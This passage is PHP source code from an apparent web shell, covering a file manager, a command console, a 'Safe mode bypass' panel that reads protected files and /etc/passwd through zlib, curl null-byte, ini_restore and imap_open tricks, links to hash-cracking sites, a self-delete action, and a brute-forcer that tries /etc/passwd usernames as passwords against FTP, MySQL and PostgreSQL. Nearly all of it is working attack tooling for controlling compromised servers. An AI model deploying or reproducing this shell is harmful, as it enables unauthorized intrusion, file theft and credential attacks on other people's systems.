  500. 								if (($f != ".") and ($f != "..")) {
    501. 

  501. 									copy_paste($c.$s.'/',$f, $d.$s.'/');
    502. 

  502. 								}
    503. 

  503. 						} elseif(is_file($c.$s)) {
    504. 

  504. 							@copy($c.$s, $d.$s);
    505. 

  505. 						}
    506. 

  506. 					}
    507. 

  507. 					foreach($_SESSION['f'] as $f)
    508. 

  508. 						copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);					
    509. 

  509. 				} elseif($_SESSION['act'] == 'move') {
    510. 

  510. 					function move_paste($c,$s,$d){
    511. 

  511. 						if(is_dir($c.$s)){
    512. 

  512. 							mkdir($d.$s);
    513. 

  513. 							$h = opendir($c.$s);
    514. 

  514. 							while (($f = readdir($h)) !== false)
    515. 

  515. 								if (($f != ".") and ($f != "..")) {
    516. 

  516. 									copy_paste($c.$s.'/',$f, $d.$s.'/');
    517. 

  517. 								}
    518. 

  518. 						} elseif(is_file($c.$s)) {
    519. 

  519. 							@copy($c.$s, $d.$s);
    520. 

  520. 						}
    521. 

  521. 					}
    522. 

  522. 					foreach($_SESSION['f'] as $f)
    523. 

  523. 						@rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
    524. 

  524. 				}
    525. 

  525. 				unset($_SESSION['f']);
    526. 

  526. 				break;
    527. 

  527. 			default:
    528. 

  528. 				if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
    529. 

  529. 					$_SESSION['act'] = @$_POST['p1'];
    530. 

  530. 					$_SESSION['f'] = @$_POST['f'];
    531. 

  531. 					foreach($_SESSION['f'] as $k => $f)
    532. 

  532. 						$_SESSION['f'][$k] = urldecode($f);
    533. 

  533. 					$_SESSION['cwd'] = @$_POST['c'];
    534. 

  534. 				}
    535. 

  535. 				break;
    536. 

  536. 		}
    537. 

  537. 		echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
    538. 

  538. 	}
    539. 

  539. 	$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
    540. 

  540. 	if($dirContent === false) {	echo 'Can\'t open this folder!'; return;	}
    541. 

  541. 	global $sort;
    542. 

  542. 	$sort = array('name', 1);
    543. 

  543. 	if(!empty($_POST['p1'])) {
    544. 

  544. 		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
    545. 

  545. 			$sort = array($match[1], (int)$match[2]);
    546. 

  546. 	}
    547. 

  547. ?>
    548. 

  548. <script>
    549. 

  549. 	function sa() {
    550. 

  550. 		for(i=0;i<document.files.elements.length;i++)
    551. 

  551. 			if(document.files.elements[i].type == 'checkbox')
    552. 

  552. 				document.files.elements[i].checked = document.files.elements[0].checked;
    553. 

  553. 	}
    554. 

  554. </script>
    555. 

  555. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
    556. 

  556. <form name=files method=post>
    557. 

  557. <?php
    558. 

  558. 	echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(null,null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(null,null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(null,null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(null,null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
    559. 

  559. 	$dirs = $files = $links = array();
    560. 

  560. 	$n = count($dirContent);
    561. 

  561. 	for($i=0;$i<$n;$i++) {
    562. 

  562. 		$ow = posix_getpwuid(@fileowner($dirContent[$i]));
    563. 

  563. 		$gr = posix_getgrgid(@filegroup($dirContent[$i]));
    564. 

  564. 		$tmp = array('name' => $dirContent[$i],
    565. 

  565. 					 'path' => $GLOBALS['cwd'].$dirContent[$i],
    566. 

  566. 					 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
    567. 

  567. 					 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
    568. 

  568. 					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
    569. 

  569. 					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
    570. 

  570. 					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
    571. 

  571. 					);
    572. 

  572. 		if(is_file($GLOBALS['cwd'].$dirContent[$i]))
    573. 

  573. 			$files[] = array_merge($tmp, array('type' => 'file'));
    574. 

  574. 		elseif(is_link($GLOBALS['cwd'].$dirContent[$i]))
    575. 

  575. 			$links[] = array_merge($tmp, array('type' => 'link'));
    576. 

  576. 		elseif(is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
    577. 

  577. 			$dirs[] = array_merge($tmp, array('type' => 'dir'));
    578. 

  578. 	}
    579. 

  579. 	$GLOBALS['sort'] = $sort;
    580. 

  580. 	function cmp($a, $b) {
    581. 

  581. 		if($GLOBALS['sort'][0] != 'size')
    582. 

  582. 			return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
    583. 

  583. 		else
    584. 

  584. 			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
    585. 

  585. 	}
    586. 

  586. 	usort($files, "cmp");
    587. 

  587. 	usort($dirs, "cmp");
    588. 

  588. 	usort($links, "cmp");
    589. 

  589. 	$files = array_merge($dirs, $links, $files);
    590. 

  590. 	$l = 0;
    591. 

  591. 	foreach($files as $f) {
    592. 

  592. 		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
    593. 

  593. 			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
    594. 

  594. 		$l = $l?0:1;
    595. 

  595. 	}
    596. 

  596. 	?>
    597. 

  597. 	<tr><td colspan=7>
    598. 

  598. 	<input type=hidden name=a value='FilesMan'>
    599. 

  599. 	<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
    600. 

  600. 	<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
    601. 

  601. 	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
    602. 

  602. 	</form></table></div>
    603. 

  603. 	<?php
    604. 

  604. }
    605. 

  605. 

  606. function actionStringTools() {
    607. 

  607. 	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    608. 

  608. 	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    609. 

  609. 	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
    610. 

  610. 	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
    611. 

  611. 	
    612. 

  612. 	if(isset($_POST['ajax'])) {
    613. 

  613. 		ob_start();
    614. 

  614. 		if(function_exists($_POST['p1']))
    615. 

  615. 			echo $_POST['p1']($_POST['p2']);
    616. 

  616. 		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
    617. 

  617. 		echo strlen($temp), "\n", $temp;
    618. 

  618. 		exit;
    619. 

  619. 	}
    620. 

  620. 	echo '<h1>String conversions</h1><div class=content>';
    621. 

  621. 	$stringTools = array(
    622. 

  622. 		'Base64 encode' => 'base64_encode',
    623. 

  623. 		'Base64 decode' => 'base64_decode',
    624. 

  624. 		'Url encode' => 'urlencode',
    625. 

  625. 		'Url decode' => 'urldecode',
    626. 

  626. 		'Full urlencode' => 'full_urlencode',
    627. 

  627. 		'md5 hash' => 'md5',
    628. 

  628. 		'sha1 hash' => 'sha1',
    629. 

  629. 		'crypt' => 'crypt',
    630. 

  630. 		'CRC32' => 'crc32',
    631. 

  631. 		'ASCII to HEX' => 'ascii2hex',
    632. 

  632. 		'HEX to ASCII' => 'hex2ascii',
    633. 

  633. 		'HEX to DEC' => 'hexdec',
    634. 

  634. 		'HEX to BIN' => 'hex2bin',
    635. 

  635. 		'DEC to HEX' => 'dechex',
    636. 

  636. 		'DEC to BIN' => 'decbin',
    637. 

  637. 		'BIN to HEX' => 'bin2hex',
    638. 

  638. 		'BIN to DEC' => 'bindec',		
    639. 

  639. 		'String to lower case' => 'strtolower',
    640. 

  640. 		'String to upper case' => 'strtoupper',
    641. 

  641. 		'Htmlspecialchars' => 'htmlspecialchars',
    642. 

  642. 		'String length' => 'strlen',
    643. 

  643. 	);
    644. 

  644. 	echo "<form name='toolsForm' onSubmit='a(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
    645. 

  645. 	foreach($stringTools as $k => $v)
    646. 

  646. 		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
    647. 

  647. 	echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea></textarea></form><pre class='ml1' style='display:none;margin-top:5px' id='strOutput'></pre></div>";
    648. 

  648. 	?>
    649. 

  649. 	<br><h1>Search for hash:</h1><div class=content>
    650. 

  650. 		<form method='post' target='_blank' name="hf">
    651. 

  651. 			<input type="text" name="hash" style="width:200px;"><br>
    652. 

  652. 			<input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
    653. 

  653. 			<input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
    654. 

  654. 			<input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
    655. 

  655. 			<input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
    656. 

  656. 			<input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
    657. 

  657. 		</form>
    658. 

  658. 	</div>
    659. 

  659. 	<?php
    660. 

  660. }
    661. 

  661. 

  662. function actionFilesTools() {
    663. 

  663. 	if( isset($_POST['p1']) )
    664. 

  664. 		$_POST['p1'] = urldecode($_POST['p1']);
    665. 

  665. 	if( @$_POST['p2']!='download' && @$_POST['p2'] != 'mkfile' ) {
    666. 

  666. 		echo '<h1>File tools</h1><div class=content>';
    667. 

  667. 		if( !file_exists(@$_POST['p1']) ) {
    668. 

  668. 			echo 'File not exists';
    669. 

  669. 			return;
    670. 

  670. 		}
    671. 

  671. 		$uid = @posix_getpwuid(@fileowner($_POST['p1']));
    672. 

  672. 		$gid = @posix_getgrgid(@fileowner($_POST['p1']));
    673. 

  673. 		echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
    674. 

  674. 		echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
    675. 

  675. 		if( empty($_POST['p2']) )
    676. 

  676. 			$_POST['p2'] = 'view';
    677. 

  677. 		if( is_file($_POST['p1']) )
    678. 

  678. 			$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    679. 

  679. 		else
    680. 

  680. 			$m = array('Chmod', 'Rename', 'Touch');
    681. 

  681. 		foreach($m as $v)
    682. 

  682. 			echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
    683. 

  683. 		echo '<br><br>';
    684. 

  684. 	}
    685. 

  685. 	switch($_POST['p2']) {
    686. 

  686. 		case 'view':
    687. 

  687. 			echo '<pre class=ml1>';
    688. 

  688. 			$fp = @fopen($_POST['p1'], 'r');
    689. 

  689. 			if($fp) {
    690. 

  690. 				while( !@feof($fp) )
    691. 

  691. 					echo htmlspecialchars(@fread($fp, 1024));
    692. 

  692. 				@fclose($fp);
    693. 

  693. 			}
    694. 

  694. 			echo '</pre>';
    695. 

  695. 			break;
    696. 

  696. 		case 'highlight':
    697. 

  697. 			if( is_readable($_POST['p1']) ) {
    698. 

  698. 				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
    699. 

  699. 				/*$source_code = explode("\n", str_replace(array("\r\n", "\r"), "\n", file_get_contents($_POST['p1'])));
    700. 

  700. 				$formatted_code = "";
    701. 

  701. 				foreach ($source_code as $code_line) {
    702. 

  702. 					if (ereg('<\?(php)?[^[:graph:]]', $code_line))
    703. 

  703. 						$formatted_code .= '<li>'. str_replace(array('<code>', '</code>'), '', highlight_string($code_line, true)).'</li>';
    704. 

  704. 					else
    705. 

  705. 						$formatted_code .= '<li>'.ereg_replace('(&lt;\?php&nbsp;)+', '', str_replace(array('<code>', '</code>'), '', highlight_string('<?php '.$code_line, true))).'</li>';
    706. 

  706. 				}
    707. 

  707. 				echo '<ol>'.str_replace(array('<span ','</span>'), array('<font ','</font>'),$formatted_code).'</ol></div>';
    708. 

  708. 				 */
    709. 

  709. 				$code = highlight_file($_POST['p1'],true);
    710. 

  710. 				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
    711. 

  711. 			}
    712. 

  712. 			break;
    713. 

  713. 		case 'download':
    714. 

  714. 			if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
    715. 

  715. 				header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
    716. 

  716. 				if (function_exists("mime_content_type")) {
    717. 

  717. 					$type = @mime_content_type($_POST['p1']);
    718. 

  718. 					header("Content-Type: ".$type);
    719. 

  719. 				}
    720. 

  720. 				$fp = @fopen($_POST['p1'], "r");
    721. 

  721. 				if($fp) {
    722. 

  722. 					while(!@feof($fp))
    723. 

  723. 						echo @fread($fp, 1024);
    724. 

  724. 					fclose($fp);
    725. 

  725. 				}
    726. 

  726. 			} elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
    727. 

  727. 				
    728. 

  728. 			}
    729. 

  729. 			exit;
    730. 

  730. 			break;
    731. 

  731. 		case 'chmod':
    732. 

  732. 			if( !empty($_POST['p3']) ) {
    733. 

  733. 				$perms = 0;
    734. 

  734. 				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
    735. 

  735. 					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
    736. 

  736. 				if(!@chmod($_POST['p1'], $perms))
    737. 

  737. 					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
    738. 

  738. 				else
    739. 

  739. 					die('<script>g(null,null,null,null,"")</script>');
    740. 

  740. 			}
    741. 

  741. 			echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
    742. 

  742. 			break;
    743. 

  743. 		case 'edit':
    744. 

  744. 			if( !is_writable($_POST['p1'])) {
    745. 

  745. 				echo 'File isn\'t writeable';
    746. 

  746. 				break;
    747. 

  747. 			}
    748. 

  748. 			if( !empty($_POST['p3']) ) {
    749. 

  749. 				@file_put_contents($_POST['p1'],$_POST['p3']);
    750. 

  750. 				echo 'Saved!<br><script>document.mf.p3.value="";</script>';
    751. 

  751. 			}
    752. 

  752. 			echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
    753. 

  753. 			$fp = @fopen($_POST['p1'], 'r');
    754. 

  754. 			if($fp) {
    755. 

  755. 				while( !@feof($fp) )
    756. 

  756. 					echo htmlspecialchars(@fread($fp, 1024));
    757. 

  757. 				@fclose($fp);
    758. 

  758. 			}
    759. 

  759. 			echo '</textarea><input type=submit value=">>"></form>';
    760. 

  760. 			break;
    761. 

  761. 		case 'hexdump':
    762. 

  762. 			$c = @file_get_contents($_POST['p1']);
    763. 

  763. 			$n = 0;
    764. 

  764. 			$h = array('00000000<br>','','');
    765. 

  765. 			$len = strlen($c);
    766. 

  766. 			for ($i=0; $i<$len; ++$i) {
    767. 

  767. 				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
    768. 

  768. 				switch ( ord($c[$i]) ) {
    769. 

  769. 					case 0:  $h[2] .= ' '; break;
    770. 

  770. 					case 9:  $h[2] .= ' '; break;
    771. 

  771. 					case 10: $h[2] .= ' '; break;
    772. 

  772. 					case 13: $h[2] .= ' '; break;
    773. 

  773. 					default: $h[2] .= $c[$i]; break;
    774. 

  774. 				}
    775. 

  775. 				$n++;
    776. 

  776. 				if ($n == 32) {
    777. 

  777. 					$n = 0;
    778. 

  778. 					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
    779. 

  779. 					$h[1] .= '<br>';
    780. 

  780. 					$h[2] .= "\n";
    781. 

  781. 				}
    782. 

  782. 		 	}
    783. 

  783. 			echo '<style>pre{font-family:Courier,Monospace;}</style><table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><pre style="color:#df5">'.$h[0].'</pre></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
    784. 

  784. 			break;
    785. 

  785. 		case 'rename':
    786. 

  786. 			if( !empty($_POST['p3']) ) {
    787. 

  787. 				if(!@rename($_POST['p1'], $_POST['p3']))
    788. 

  788. 					echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
    789. 

  789. 				else
    790. 

  790. 					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
    791. 

  791. 			}
    792. 

  792. 			echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
    793. 

  793. 			break;
    794. 

  794. 		case 'touch':
    795. 

  795. 			if( !empty($_POST['p3']) ) {
    796. 

  796. 				$time = strtotime($_POST['p3']);
    797. 

  797. 				if($time) {
    798. 

  798. 					if(@touch($_POST['p1'],$time,$time))
    799. 

  799. 						die('<script>g(null,null,null,null,"")</script>');
    800. 

  800. 					else {
    801. 

  801. 						echo 'Fail!<script>document.mf.p3.value="";</script>';
    802. 

  802. 					}
    803. 

  803. 				} else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
    804. 

  804. 			}
    805. 

  805. 			echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
    806. 

  806. 			break;
    807. 

  807. 		case 'mkfile':
    808. 

  808. 			if(!file_exists($_POST['p1'])) {
    809. 

  809. 				$fp = @fopen($_POST['p1'], 'w');
    810. 

  810. 				if($fp)
    811. 

  811. 					die('<script>g(null,null,null,"edit")</script>');
    812. 

  812. 			}
    813. 

  813. 			echo 'Can\'t create!';
    814. 

  814. 			break;
    815. 

  815. 	}
    816. 

  816. 	echo '</div>';
    817. 

  817. }
    818. 

  818. 

  819. function actionSafeMode() {
    820. 

  820. 	if( isset($_POST['ajax']) ) {
    821. 

  821. 		ob_start();
    822. 

  822. 		switch($_POST['p1']) {
    823. 

  823. 			case 1:
    824. 

  824. 				$temp=@tempnam($test, 'cx');
    825. 

  825. 				if(@copy("compress.zlib://".$_POST['p2'], $temp)){
    826. 

  826. 					echo @file_get_contents($temp);
    827. 

  827. 					unlink($temp);
    828. 

  828. 				} else
    829. 

  829. 					echo 'Sorry... Can\'t open file';
    830. 

  830. 				break;
    831. 

  831. 			case 2:
    832. 

  832. 				$files = glob($_POST['p2'].'*');
    833. 

  833. 				if( is_array($files) )
    834. 

  834. 					foreach ($files as $filename)
    835. 

  835. 						echo $filename."\n";
    836. 

  836. 				break;
    837. 

  837. 			case 3:
    838. 

  838. 				$ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH); 
    839. 

  839. 				curl_exec($ch);
    840. 

  840. 				break;
    841. 

  841. 			case 4:
    842. 

  842. 				ini_restore("safe_mode");  
    843. 

  843. 				ini_restore("open_basedir"); 
    844. 

  844. 				include($_POST['p2']);
    845. 

  845. 				break;
    846. 

  846. 			case 5:
    847. 

  847. 				for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {  
    848. 

  848. 					$uid = posix_getpwuid($_POST['p2']);
    849. 

  849. 					if ($uid)
    850. 

  850. 						echo join(':',$uid)."\n";  
    851. 

  851. 				} 
    852. 

  852. 				break;
    853. 

  853. 			case 6:
    854. 

  854. 				if(!function_exists('imap_open'))break;
    855. 

  855. 				$stream = imap_open($_POST['p2'], "", "");
    856. 

  856. 				if ($stream == FALSE)
    857. 

  857. 					break;
    858. 

  858. 				echo imap_body($stream, 1);
    859. 

  859. 				imap_close($stream);
    860. 

  860. 				break;
    861. 

  861. 		}
    862. 

  862. 		$temp = "document.getElementById('Output').style.display='';document.getElementById('Output').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
    863. 

  863. 		echo strlen($temp), "\n", $temp;
    864. 

  864. 		exit;
    865. 

  865. 	}
    866. 

  866. 	echo '<h1>Safe mode bypass</h1><div class=content>';
    867. 

  867. 	echo '<span>Copy (read file)</span><form onsubmit=\'a(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'a(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'a(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'a(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'a(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'a(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><pre class="ml1" style="display:none;margin-top:5px" id="Output"></pre>';
    868. 

  868. 	echo '</div>';
    869. 

  869. }
    870. 

  870. 

  871. function actionConsole() {
    872. 

  872. 	if(isset($_POST['ajax'])) {
    873. 

  873. 		ob_start();
    874. 

  874. 		echo "document.cf.cmd.value='';\n";
    875. 

  875. 		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
    876. 

  876. 		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
    877. 

  877. 			if(@chdir($match[1])) {
    878. 

  878. 				$GLOBALS['cwd'] = @getcwd();
    879. 

  879. 				echo "document.mf.c.value='".$GLOBALS['cwd']."';";
    880. 

  880. 			}
    881. 

  881. 		}
    882. 

  882. 		echo "document.cf.output.value+='".$temp."';";
    883. 

  883. 		echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
    884. 

  884. 		$temp = ob_get_clean();
    885. 

  885. 		echo strlen($temp), "\n", $temp;
    886. 

  886. 		exit;
    887. 

  887. 	}
    888. 

  888. ?>
    889. 

  889. <script>
    890. 

  890. if(window.Event) window.captureEvents(Event.KEYDOWN);
    891. 

  891. var cmds = new Array("");
    892. 

  892. var cur = 0;
    893. 

  893. function kp(e) {
    894. 

  894. 	var n = (window.Event) ? e.which : e.keyCode;
    895. 

  895. 	if(n == 38) {
    896. 

  896. 		cur--;
    897. 

  897. 		if(cur>=0)
    898. 

  898. 			document.cf.cmd.value = cmds[cur];
    899. 

  899. 		else
    900. 

  900. 			cur++;
    901. 

  901. 	} else if(n == 40) {
    902. 

  902. 		cur++;
    903. 

  903. 		if(cur < cmds.length)
    904. 

  904. 			document.cf.cmd.value = cmds[cur];
    905. 

  905. 		else
    906. 

  906. 			cur--;
    907. 

  907. 	}
    908. 

  908. }
    909. 

  909. function add(cmd) {
    910. 

  910. 	cmds.pop();
    911. 

  911. 	cmds.push(cmd);
    912. 

  912. 	cmds.push("");
    913. 

  913. 	cur = cmds.length-1;
    914. 

  914. }
    915. 

  915. </script>
    916. 

  916. <?php
    917. 

  917. 	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);a(null,null,this.cmd.value);return false;"><select name=alias>';
    918. 

  918. 	foreach($GLOBALS['aliases'] as $n => $v) {
    919. 

  919. 		if($v == '') {
    920. 

  920. 			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
    921. 

  921. 			continue;
    922. 

  922. 		}
    923. 

  923. 		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
    924. 

  924. 	}
    925. 

  925. 	echo '</select><input type=button onclick="add(document.cf.alias.value);a(null,null,document.cf.alias.value);" value=">>"><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    926. 

  926. 	if(!empty($_POST['p1']))
    927. 

  927. 		echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
    928. 

  928. 	echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
    929. 

  929. 	echo '</form></div><script>document.cf.cmd.focus();</script>';
    930. 

  930. }
    931. 

  931. 

  932. function actionLogout() {
    933. 

  933. 	unset($_SESSION['sh_logined']);
    934. 

  934. 	die('<script>location.reload();</script>');
    935. 

  935. }
    936. 

  936. 

  937. function actionSelfRemove() {
    938. 

  938. 	if($_POST['p1'] == 'yes') {
    939. 

  939. 		if(@unlink(SELF_PATH))
    940. 

  940. 			die('Shell has been removed');
    941. 

  941. 		else
    942. 

  942. 			echo 'unlink error!';
    943. 

  943. 	}
    944. 

  944. 	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    945. 

  945. }
    946. 

  946. 

  947. function actionBruteforce() {
    948. 

  948. 	if( isset($_POST['proto']) ) {
    949. 

  949. 		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
    950. 

  950. 		if( $_POST['proto'] == 'ftp' ) {
    951. 

  951. 			function bruteForce($ip,$port,$login,$pass) {
    952. 

  952. 				$fp = @ftp_connect($ip, $port?$port:21);
    953. 

  953. 				if(!$fp) return false;
    954. 

  954. 				$res = @ftp_login($fp, $login, $pass);
    955. 

  955. 				@ftp_close($fp);
    956. 

  956. 				return $res;
    957. 

  957. 			}
    958. 

  958. 		} elseif( $_POST['proto'] == 'mysql' ) {
    959. 

  959. 			function bruteForce($ip,$port,$login,$pass) {
    960. 

  960. 				$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
    961. 

  961. 				@mysql_close($res);
    962. 

  962. 				return $res;
    963. 

  963. 			}
    964. 

  964. 		} elseif( $_POST['proto'] == 'pgsql' ) {
    965. 

  965. 			function bruteForce($ip,$port,$login,$pass) {
    966. 

  966. 				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
    967. 

  967. 				$res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
    968. 

  968. 				@pg_close($res);
    969. 

  969. 				return $res;
    970. 

  970. 			}
    971. 

  971. 		}
    972. 

  972. 		$success = 0;
    973. 

  973. 		$attempts = 0;
    974. 

  974. 		$server = explode(":", $_POST['server']);
    975. 

  975. 		if($_POST['type'] == 1) {
    976. 

  976. 			$temp = @file('/etc/passwd');
    977. 

  977. 			if( is_array($temp) )
    978. 

  978. 				foreach($temp as $line) {
    979. 

  979. 					$line = explode(":", $line);
    980. 

  980. 					++$attempts;
    981. 

  981. 					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
    982. 

  982. 						$success++;
    983. 

  983. 						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
    984. 

  984. 					}
